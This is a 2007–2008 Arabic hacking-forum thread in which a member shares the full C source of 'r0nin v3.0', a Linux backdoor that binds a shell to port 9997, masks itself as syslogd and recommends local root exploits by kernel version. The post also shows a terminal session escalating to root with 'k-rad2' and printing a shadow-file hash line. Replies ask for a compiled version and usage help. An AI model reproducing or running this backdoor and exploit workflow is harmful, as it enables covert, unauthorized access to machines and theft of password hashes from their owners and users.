ضع اعلانك هنا

ضع اعلانك هنا ضع اعلانك هنا منتديات بوابة الاسلام
التاريخ 2008-8-13 التاريخ 2008-8-15 ضع اعلانك هنا ضع اعلانك هنا
 
العودة   عالم المعرفة > قسم الأنظمة والسيرفرات > أمن المواقع والسيرفرات > منتدى أدوات وبرامج الإختراق
تفعيل العضوية استرجاع كلمة المرور شروط المنتــدى البحث مشاركات اليوم اجعل كافة الأقسام مقروءة
 

Linux Kernel Detector/bind-shell/priv8 r0nin v3.0

منتدى أدوات وبرامج الإختراق


إضافة رد
 
LinkBack أدوات الموضوع
 
قديم 08-18-2007, 01:59 AM   #1 (permalink)
عضو فعال
 
الصورة الرمزية Dr.the bright boy







Dr.the bright boy غير متصل

Dr.the bright boy will become famous soon enoughDr.the bright boy will become famous soon enough

افتراضي Linux Kernel Detector/bind-shell/priv8 r0nin v3.0

بسم الله الرحمن الرحيم

IN THE NAME OF ALLAH THE ENTIRELY MERCIFUL THE SPECIALLY MERCIFUL



كود:
< | g33k m0de ON | > Bind port, "ps aux" masked, Tell u if rootab or no etc m0rtix.c is a simple C linux backdoor which bind a shell to a port with tty fork. The processes are hidden and it contains a kernel version detector which tell you what local root exploit you must use to root the system. < | g33k m0de OFF | >

والله يعجز حبر قلمي عن هذه الأداة الفرنسيه الرائعه.. للأسف وضعت في منتديات عده ومشهوره .. لكن ما عرفو حتى يترجمونها ...

هذه الأداة لها وظيفيتن رائعتين منها تكتشف شنو أسم اللوكال روت .. وتقدر انت بأسلوبك أنك تطور للنفسك وتضيف بعض الإضافات وتطوره على كيف .. لكن أنصحك انك تحتفظ بنسخة ثانيه من هذا الكود ...قبل الترجمة ... ...

أنا جربته على البوكس... ونشوف على الهواء مباشره ....

كود:
[Q8Crackers@localhost priv8]$ id uid=500(Q8Crackers) gid=500(Q8Crackers) groups=500(Q8Crackers) con****=user_u:system_r:unconfined_t
كود:
[Q8Crackers@localhost priv8]$ uname --all Linux localhost.localdomain 2.6.9-5.EL #1 Wed Jan 5 19:22:18 EST 2005 i686 i686 i386 GNU/Linux
شوف الان نشغل الأداة ... بتكتشفلك على طول أسم اللوكل روت ...
نفترض مثلا شغلنا الأداة طبعا شغلت الاداه ( المشكله يا قلبي هذي والله يبيله شرح في موضع كامل لكن بختصر(
بتقولك انه الكيرنل )2004 تحديث أو أي شي يقولك بيقبل k-rad,k-rad2,k-rad3
واشياء أخرى أيضا ... مثل ( expand_stack ) واذا ما عرفت ( هذا الكلام برايفت ) ههههههههه
نشوف ونجرب علا الكيرنل

كود:
2.6.9-5.EL
نعود

كود:
[Q8Crackers@localhost priv8]$ uname --all Linux localhost.localdomain 2.6.9-5.EL #1 Wed Jan 5 19:22:18 EST 2005 i686 i686 i386 GNU/Linux
شوف نجرب
كي راد مع انه معاي برايفت مبرمجه لنفسي بلغة جيل شل لكن بنجرب ونشوف اي واحد من الكي راد
كود:
[Q8Crackers@localhost priv8]$./k-rad2 wait aprox 4 min to get sh
كود:
sh-3.00# id uid=0(root) gid=0(root) groups=500(Q8Crackers) con****=user_u:system_r:unconfined_t
كود:
sh-3.00# head -1 /etc/shadow root:$1$JpZ/I5xE$d07HNi7qGnCnFqagzGW/t1:13584:0:99999:7:::
كود:
sh-3.00# pwd /tmp
كود:
sh-3.00#

الترجمه برفقها انشاء الله ...


كود:
/* r0nin v3.0 by m0rtix */ ////////////////////////////////////////////////////////////////// // Bind port, "ps aux" masked, Tell u if rootab or no etc... // // // // m0rtix (c) 2006 // // irc.epiknet.org #hakin9 // // // // Une petite pens饠pour Sympt0me.... // //reloaded_matrix_revolutions@hotmail.com // ////////////////////////////////////////////////////////////////// #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <netinet/in.h> #include <pwd.h> #include <string.h> #include <fcntl.h> #include <signal.h> #include <sys/resource.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/utsname.h> #include <sys/wait.h> #define MASK "/sbin/syslogd" #define HOME "/" #define TIOCSCTTY 0x540E #define TIOCGWINSZ 0x5413 #define TIOCSWINSZ 0x5414 #define ECHAR 0x1d #define BUF 32768 #define PORT 9997 int leserver(void); int rootab(void); int noroot(void); int kwst(void); int oslinux(void); int bsdbsd(void); int main(int argc, char *argv[]) { //have the current user in bash !!! int uid = getuid(); struct passwd *pwd_str; pwd_str = getpwuid(uid); char *login; login = malloc(strlen(pwd_str->pw_name)); strncpy(login, pwd_str->pw_name, strlen(pwd_str->pw_name)); //have the current kernel version !!!! struct utsname *bof = (struct utsname*) malloc(sizeof(struct utsname)); int test; if(test = uname(bof)) { printf("Error %i\n", test); exit(1); } //to be hidden for "PS" command: strcpy(argv[0], MASK); fprintf(stdout, "\n\t ,--. | o "); fprintf(stdout, "\n\t,-.-.| |,---.|--- .. , "); fprintf(stdout, "\n\t| | || || | | >< "); fprintf(stdout, "\n\t` ' '`--'` `---'`' ` \n"); fprintf(stdout, "\nPsychoPhobia Backdoor v3 by m0rtix is starting...OK, pid = %ld\n", (long)getpid()); fprintf(stdout, "Shell on: 9997 User: %s UID: %ld\n", login, (long)getuid()); fprintf(stdout, "Name: %s (Masked in PS! ) v: = %s %s %s\n\n", argv[0], bof->sysname, bof->nodename, bof->release); kwst(); leserver(); return 0; } ////////////////////////////// //LESERVER - listen on 9997 port and give U a shell... struct winsize { unsigned short ws_row; unsigned short ws_col; unsigned short ws_xpixel; unsigned short ws_ypixel; }; /////////////////////////////////////////////////: void get_tty(int num, char *base, char *buf) { char series[] = "pqrstuvwxyzabcde"; char subs[] = "0123456789abcdef"; int pos = strlen(base); strcpy(buf, base); buf[pos] = series[(num >> 4) & 0xF]; buf[pos+1] = subs[num & 0xF]; buf[pos+2] = 0; } ///////////////////////////////////////////// int open_tty(int *tty, int *pty) { char buf[512]; int i, fd; fd = open("/dev/ptmx", O_RDWR); close(fd); for (i=0; i < 256; i++) { get_tty(i, "/dev/pty", buf); *pty = open(buf, O_RDWR); if (*pty < 0) continue; get_tty(i, "/dev/tty", buf); *tty = open(buf, O_RDWR); if (*tty < 0) { close(*pty); continue; } return 1; } return 0; } /////////////////////////////////////////////////// void sig_child(int i) { signal(SIGCHLD, sig_child); waitpid(-1, NULL, WNOHANG); } //////////////////////////////////////////////////: void hangout(int i) { kill(0, SIGHUP); kill(0, SIGTERM); } ///////////////////////////////////////////////////// int leserver(void) { int pid; struct sockaddr_in serv; struct sockaddr_in cli; int sock; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock < 0) { perror("socket"); return 1; } bzero((char *) &serv, sizeof(serv)); serv.sin_family = AF_INET; serv.sin_addr.s_addr = htonl(INADDR_ANY); serv.sin_port = htons(port); if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) { perror("bind"); return 1; } if (listen(sock, 5) < 0) { perror("listen"); return 1; } fflush(stdout); /* daemonize */ setsid(); chdir("/"); pid = open("/dev/null", O_RDWR); dup2(pid, 0); dup2(pid, 1); dup2(pid, 2); close(pid); signal(SIGHUP, SIG_IGN); signal(SIGCHLD, sig_child); while (1) { int scli; int slen; slen = sizeof(cli); scli = accept(sock, (struct sockaddr *) &cli, &slen); if (scli < 0) continue; pid = fork(); if (pid == 0) { int subshell; int tty; int pty; fd_set fds; char buf[BUF]; char *argv[] = {"sh", "-i", NULL}; #define MAXENV 256 #define ENVLEN 256 char *envp[MAXENV]; char envbuf[(MAXENV+2) * ENVLEN]; int j, i; char home[256]; /* setup enviroment */ envp[0] = home; sprintf(home, "HOME=%s", HOME); j = 0; do { i = read(scli, &envbuf[j * ENVLEN], ENVLEN); envp[j+1] = &envbuf[j * ENVLEN]; j++; if ((j >= MAXENV) || (i < ENVLEN)) break; } while (envbuf[(j-1) * ENVLEN] != '\n'); envp[j+1] = NULL; /* create new group */ setpgid(0, 0); /* open slave & master side of tty */ if (!open_tty(&tty, &pty)) { char msg[] = "Can't fork pty, bye!\n"; write(scli, msg, strlen(msg)); close(scli); exit(0); } /* fork child */ subshell = fork(); if (subshell == 0) { /* close master */ close(pty); /* attach tty */ setsid(); ioctl(tty, TIOCSCTTY); /* close local part of connection */ close(scli); close(sock); signal(SIGHUP, SIG_DFL); signal(SIGCHLD, SIG_DFL); dup2(tty, 0); dup2(tty, 1); dup2(tty, 2); close(tty); execve("/bin/sh", argv, envp); } /* close slave */ close(tty); signal(SIGHUP, hangout); signal(SIGTERM, hangout); while (1) { /* watch tty and client side */ FD_ZERO(&fds); FD_SET(pty, &fds); FD_SET(scli, &fds); if (select((pty > scli) ? (pty+1) : (scli+1), &fds, NULL, NULL, NULL) < 0) { break; } if (FD_ISSET(pty, &fds)) { int count; count = read(pty, buf, BUF); if (count <= 0) break; if (write(scli, buf, count) <= 0) break; } if (FD_ISSET(scli, &fds)) { int count; unsigned char *p, *d; d = buf; count = read(scli, buf, BUF); if (count <= 0) break; /* setup win size */ p = memchr(buf, ECHAR, count); if (p) { unsigned char wb[5]; int rlen = count - ((ulong) p - (ulong) buf); struct winsize ws; /* wait for rest */ if (rlen > 5) rlen = 5; memcpy(wb, p, rlen); if (rlen < 5) { read(scli, &wb[rlen], 5 - rlen); } /* setup ****** */ ws.ws_xpixel = ws.ws_ypixel = 0; ws.ws_col = (wb[1] << 8) + wb[2]; ws.ws_row = (wb[3] << 8) + wb[4]; ioctl(pty, TIOCSWINSZ, &ws); kill(0, SIGWINCH); /* write the rest */ write(pty, buf, (ulong) p - (ulong) buf); rlen = ((ulong) buf + count) - ((ulong)p+5); if (rlen > 0) write(pty, p+5, rlen); } else if (write(pty, d, count) <= 0) break; } } close(scli); close(sock); close(pty); waitpid(subshell, NULL, 0); vhangup(); exit(0); } close(scli); } } //////////////////////////////////////////////////////////////////////// //END LESERVER ///////////////////////////////////// //KWST - rootab ?????????? int kwst(void) { struct utsname *bof = (struct utsname*) malloc(sizeof(struct utsname)); int test; if(test = uname(bof)) { printf("Error %i\n", test); exit(1); } char *osdev = bof->sysname; if (strcmp(osdev, "Linux") == 0) oslinux(); else { if(strcmp(osdev, "FreeBSD") == 0) { bsdbsd(); }} return 0; } //END KWST ////////////////////////////////////// //OSLINUX - if is Linux: int oslinux(void) { ///////////////// THanks to Anissina_Keiko /////////////////////////////// struct utsname *bof = (struct utsname*) malloc(sizeof(struct utsname)); int test; if(test = uname(bof)) { printf("Error %i\n", test); exit(1); } char *kernelver = bof->release; //////////////////////////////////////////// KERNEL 2.2.* ////////////////// if (strncmp(kernelver, "2.2.", 4) == 0) { printf("\nRootab !! use: ptrace!"); } //////////////////////////////////////////// KERNEL 2.4.* ////////////////// else if(strncmp(kernelver, "2.4.17", 6) == 0) { printf("\nRootab !! use: Kmod, newlocal !"); } else if (strncmp(kernelver, "2.4.18", 6) == 0) { printf("\nRootab !! use: Brk, newlocal, Kmod or Kmod2 !"); } else if (strncmp(kernelver, "2.4.19", 6) == 0) { printf("\nRootab !! use: Brk, newlocal, Kmod or Kmod2 !"); } else if (strncmp(kernelver, "2.4.20", 6) == 0) { printf("\nRootab !! use: elflbl, Ptrace, Brk2, w00t(if 2003), Kmod or Kmod2 !"); } else if (strncmp(kernelver, "2.4.21", 6) == 0) { printf("\nRootab !! use: Brk2, Ptrace, w00t(if 2003), Krad3(if elSMP), Kmod2 !"); } else if (strncmp(kernelver, "2.4.22", 6) == 0) { printf("\nRootab !! use: Brk2, Ptrace, w00t(if 2003), Kmod2 !"); } else if (strncmp(kernelver, "2.4.23", 6) == 0) { printf("\nRootab !! use: mremap_pte!"); } else if (strncmp(kernelver, "2.4.24", 6) == 0) { printf("\nRootab !! use: mremap_pte!"); } else if (strncmp(kernelver, "2.4.25", 6) == 0) { printf("\nRootab !! use: mremap_pte, Uselib24!"); } else if (strncmp(kernelver, "2.4.26", 6) == 0) { printf("\nRootab !! use: mremap_pte, Uselib24!"); } else if (strncmp(kernelver, "2.4.27", 6) == 0) { printf("Rootab !! use: don't know lol!\n"); } //////////////////////////////////////////////////// KERNEL 2.6.* /////////////////// else if (strncmp(kernelver, "2.6.2", 5) == 0) { printf("\nRootab !! use: expand_stack, mremap_pte!"); } else if (strncmp(kernelver, "2.6.3", 5) == 0) { printf("\nRootab !! use: expand_stack, Krad(if 2004) !"); } else if (strncmp(kernelver, "2.6.4", 5) == 0) { printf("\nRootab !! use: expand_stack, Krad(if 2004) !"); } else if (strncmp(kernelver, "2.6.5", 5) == 0) { printf("\nRootab !! use: expand_stack, Krad(if 2004) !"); } else if (strncmp(kernelver, "2.6.6", 5) == 0) { printf("\nRootab !! use: expand_stack, Krad(if 2004) !"); } else if (strncmp(kernelver, "2.6.7", 5) == 0) { printf("\nRootab !! use: expand_stack, Krad(if 2004) !"); } else if (strncmp(kernelver, "2.6.8", 5) == 0) { printf("\nRootab !! use: expand_stack, Krad(if 2004) !"); } else if (strncmp(kernelver, "2.6.9", 5) == 0) { printf("\nRootab !! use: expand_stack, Krad(if 2004), Krad2(if 2004), Krad3 !"); } else if (strncmp(kernelver, "2.6.10", 5) == 0) { printf("\nRootab !! use: expand_stack, Krad(if 2004), Krad2(if 2004), Krad3 !"); } else if (strncmp(kernelver, "2.6.11", 5) == 0) { printf("\nRootab !! use: expand_stack, Krad2(if 2004), Krad3 !"); } else if (strncmp(kernelver, "2.6.12", 5) == 0) { printf("\nRootab !! use: expand_stack, Krad2(if 2004) !"); } else if (strncmp(kernelver, "2.6.13", 5) == 0) { printf("\nRootab !! use: expand_stack !"); } else if (strncmp(kernelver, "2.6.14", 5) == 0) { printf("\nRootab !! use: expand_stack !"); } else if (strncmp(kernelver, "2.6.15", 5) == 0) { printf("\nRootab !! use: expand_stack !"); } else { printf("\nDon't know for ths version: %s\n", kernelver); } return 0; } //END OS ///////////////////////////////////////// //BSDBSD If FreeBSD: int bsdbsd(void) { fprintf(stdout, "\n\t Oh NOoo !!! it's a FreeBSD system, i can't say you if this sheat is rootab !!\n\n"); return 0; } //BSDBSD END ////////////////////////////////////////////

التوقيع

X_Dr.the bright boy_X
أسد المخترقين


Q8Crackers TeaM Crew

perl/cgi/php/xml/python/jython/ruby/lisp/c/c++/Delphi/j4v4/ASM/ajax/asp/jsp/1337/jailshell/bash/c0b0l/c-fusion/pike/tcl/tk/VXc0de/reb0l/
 
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
 
 
قديم 08-18-2007, 11:32 PM   #2 (permalink)

::فريق عالم المعرفة::
 
الصورة الرمزية ShOoT3R






ShOoT3R غير متصل

ShOoT3R has a spectacular aura aboutShOoT3R has a spectacular aura about

افتراضي رد: Linux Kernel Detector/bind-shell/priv8 r0nin v3.0

تسلم اخوووي Dr.the bright boy

وجزاك الله الف خير

انا سابق وانى جربت الاداه لكن صارت لى مشكلة فى الترجمه ... صار يعنى اخطاء
متالية

تسلم حبوووب
 
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
 
 
قديم 08-19-2007, 01:17 AM   #3 (permalink)
عضو فعال
 
الصورة الرمزية Dr.the bright boy







Dr.the bright boy غير متصل

Dr.the bright boy will become famous soon enoughDr.the bright boy will become famous soon enough

افتراضي رد: Linux Kernel Detector/bind-shell/priv8 r0nin v3.0

اقتباس:
انا سابق وانى جربت الاداه لكن صارت لى مشكلة فى الترجمه ... صار يعنى اخطاء
متالية

تسلم حبوووب

بأرفقها لك أنشاء الله
 
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
 
 
قديم 01-09-2008, 07:38 AM   #4 (permalink)
عضو جديد






مسمار جحا غير متصل

مسمار جحا will become famous soon enoughمسمار جحا will become famous soon enough

افتراضي رد: Linux Kernel Detector/bind-shell/priv8 r0nin v3.0

سلالالالالالالالالالالالالالام
يعطيك الف عافية اخوي بس ياليت تحط لنا املف مترجم ننتطرك علىاحر من الجمر
==========
يمكن الموضوع قديم بس جد مهم ونذكر استاذنا اسد المخترقين لعل وعسى
تحياتي
 
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
 
 
قديم 01-17-2008, 08:37 AM   #5 (permalink)
عضو فعال
 
الصورة الرمزية mHKrk






mHKrk غير متصل

mHKrk will become famous soon enoughmHKrk will become famous soon enough

افتراضي مشاركة: Linux Kernel Detector/bind-shell/priv8 r0nin v3.0

ياليت ترفقها مترجمة ......


يعطيك العافيه مواضيعك رهيبه مثلك
 
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
 
 
قديم 02-09-2008, 09:05 PM   #6 (permalink)
عضو جديد






dashti غير متصل

dashti will become famous soon enoughdashti will become famous soon enough

افتراضي مشاركة: Linux Kernel Detector/bind-shell/priv8 r0nin v3.0

عمممممم مشكوووووووووووووووور
 
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
 
 
قديم 03-05-2008, 04:05 AM   #7 (permalink)
عضو جديد






ly0kha غير متصل

ly0kha will become famous soon enoughly0kha will become famous soon enough

افتراضي رد: Linux Kernel Detector/bind-shell/priv8 r0nin v3.0

how to use it?
 
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
 
إضافة رد

Linux Kernel Detector/bind-shell/priv8 r0nin v3.0

منتدى أدوات وبرامج الإختراق





الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are معطلة
Pingbacks are معطلة
Refbacks are متاحة


الساعة الآن 08:05 AM.

عدد الكلمات الدلالية 70 الاكثر بحث في الموقع
الكلمات الدلالية
اخبار ادوات اطفال الاستثمار البرفست البيزون الدروس الروافض السعوديه السنه الشيعه العاب الفلاش الفوتو شوب الكويت المجوس المهدي الهكر ايران برامج برامج اختراق برامج هكر بنات تحميل تشفير تشقير الصفحات تطوير تعليم ثغره جرائم جوال حماية حوار دروس دومين رواتر شرح صميم صوره فضائح فيديو كتاب كراك كمبيوتر محاضرات منتدى مودم نطاق نطاقات نوكيا هوز bifrost buffer crypter domain downloader exploit file inclusion iran local overflow poison python server shellcode sql injection trojan version vulnerability youtube


روابط مهمة

أقسام المنتدى


الرسول الإنسان | الدفاع عن أهل السنة | فضائح و جرائم الروافض | السنه | الحوارات الهادفة | الفلاش والسويتش | الفوتوشوب | دورة الفوتوشوب | صور | العاب | البرامج المشروحه | الفرفشه والمرح | الرياضة | الفايروسات | الهاردوير والصيانة | تطوير المنتديات والمواقع | دورة تطوير منتديات vb | الحمايه | اختراق المواقع والسيرفرات | هكرز | اختراق الشات والاميل | ثغرات | البرامج | الفيجوال بيسك | المواضيع العامه | القصص واللغات|  شات


Powered by vBulletin Version 3.7.1
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd
لا تتحمل إدارة منتديات عالم المعرفة أية مسؤولية حول أي موضوع يطرح في المنتدى فإن المكتوب يعبر عن رأى صاحبه أو ناقلة

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58